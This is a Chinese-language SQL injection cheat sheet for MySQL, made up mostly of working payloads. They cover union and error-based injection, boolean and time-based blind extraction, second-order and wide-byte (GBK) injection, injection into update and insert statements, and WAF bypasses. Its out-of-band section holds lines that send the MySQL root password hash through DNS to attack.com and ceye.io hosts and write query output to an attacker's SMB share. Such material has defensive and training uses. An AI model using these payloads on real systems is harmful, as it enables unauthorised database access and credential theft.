SQL注入

用户输入数据被当成了代码被执行
原则
有回显:union select、报错注入
无回显:dnslog, time-based, boolean-based
注:思维导图https://github.com/UltramanGaia/SecMM

SQL注入_第1张图片
SQL注入思维导图

最常见的注入


select * from xxx where id = %s ;
select * from xxx where id = '%s' ;
select * from xxx where id = "%s" ;
select * from xxx where id = ('%s') ;
select * from xxx where id = ("%s") ;
用
'
"
(
)
char
string
组合看看能不能报错显示出执行的sql语句
检测union select注入
order by 查列数
union select 看回显

用
or 1=1
or 1=2
and 1=1
and 1=2
检测boolean注入

用
or sleep(3)
检测time_base注入

Mysql


Mysql 默认端口 3306

注入方法


Union Select注入


确认列数
order by 
union select 1,2,3
union select null,null,null
union select @,@,@

报错注入


1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

带外注入


  • bool注入
and 1=1
and 1=2
or 1=1
or 1=2
爆数据长度
and length(查询数据语句)=数字
select * from user where id=1 and length((select version()))=23;
爆数据
and mid((查询数据语句),数字,1)='字符'
select * from user where id=1 and mid((select version()),1,1)='5';
  • 时间盲注
sleep()
benchmark()
爆数据长度
and if(length(查询数据语句)=数字,sleep(5),0)
and if(length(查询数据语句)=数字,BENCHMARK(10000000, md5(1)),0)
爆数据
and if(mid((查询数据语句),数字,1)='字符',sleep(5),0)
and if(mid((查询数据语句),数字,1)='字符',BENCHMARK(10000000, md5(1)),0)
其他操作。。
  • dnslog注入
select load_file(concat('\\\\foo.',(select mid(version(),1,1)),'.attack.com\\'));
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
  • SMB
' or 1=1 into outfile '\\\\attacker\\SMBshare\\output.txt'

获取信息


最常用的获取数据方法

大于Mysql 5.0

获取库名
select schema_name from information_schema.schemata limit 0,1
获取表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1
获取列名
select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
获取数据
select name from user; 
注:可以用十六进制代替数据库名、表名
如果过滤了空格,linux下可以用下列字符替代
%09 tab水平
%0a 换行
%0d return 
%0b tab垂直
%a0 空格

库名

select database();
select schema_name from information_schema.schemata limit 0,1;
select group_concat(schema_name) from information_schema.schemata;
select distinct(Db) from mysql.db;
select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6
select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6

表名

select table_name from information_schema.tables where table_schema='mysql' limit 0,1
select group_concat(table_name) from information_schema.tables where table_schema='mysql' ;
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
select distinct(table_name) from mysql.innodb_index_stats;//mysql>5.6
select distinct(table_name) from mysql.innodb_table_stats;//mysql>5.6

列名

select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
select group_concat(column_name) from information_schema.columns where table_schema= 'mysql' and table_name = 'db'

数据

Select group_concat(column_name) from table_name

二次排序注入 (存储型的注入)


二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。
二次排序注入思路:
1. hacker输入的数据会经过转义代入sql语句中,然后,储存在数据库中,在数据库中的数据是没有转义的
2. hacker进行别的操作,将数据库中的数据取出来(未转义)并用于拼接到另外一个sql语句中,这就可以绕过转义了。
假设存在一个账户"admin",密码不知
创建一个账户"admin'#",则在数据库中保存有"admin'#"
修改密码的时候,代入sql语句
update users set passwd = "xxxx" where username = '      admin'#    ' and passwd = 'xxxxxxx'

宽字节注入


%df'   ->    %df%5c'
将sql语句解析为gbk编码时,
%df%5c  ->  当成一个字符,后面的'逃逸出来了

(1) mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。

(2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。

(3) mb_convert_encoding,如mb_convert_encoding($sql,"utf8","gbk"),将SQL语句从gbk格式转换为utf8格式时,0x5c被吃掉了。

(4) iconv,如iconv('GBK', 'UTF-8',$sql)

注入点 update / insert /delete


报错注入
extractvalue()函数是MYSQL对XML文档数据进行查询函数。
or extractvalue(1,concat(0x7e,version())) or

updatexml()函数是MYSQL对XML文档数据进行修改的XPATH函数。
or updatexml(1,concat(0x7e,(version())),0) or

name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。

update数据到可见参数
update users set points =  1*(select conv(hex((select substr( pw ,1%s,1))),0b10000,0b10))

WAF绕过

检测select

尝试大小写绕过
尝试URLencode,如%53elect
仅能查询当前表

你可能感兴趣的:(SQL注入)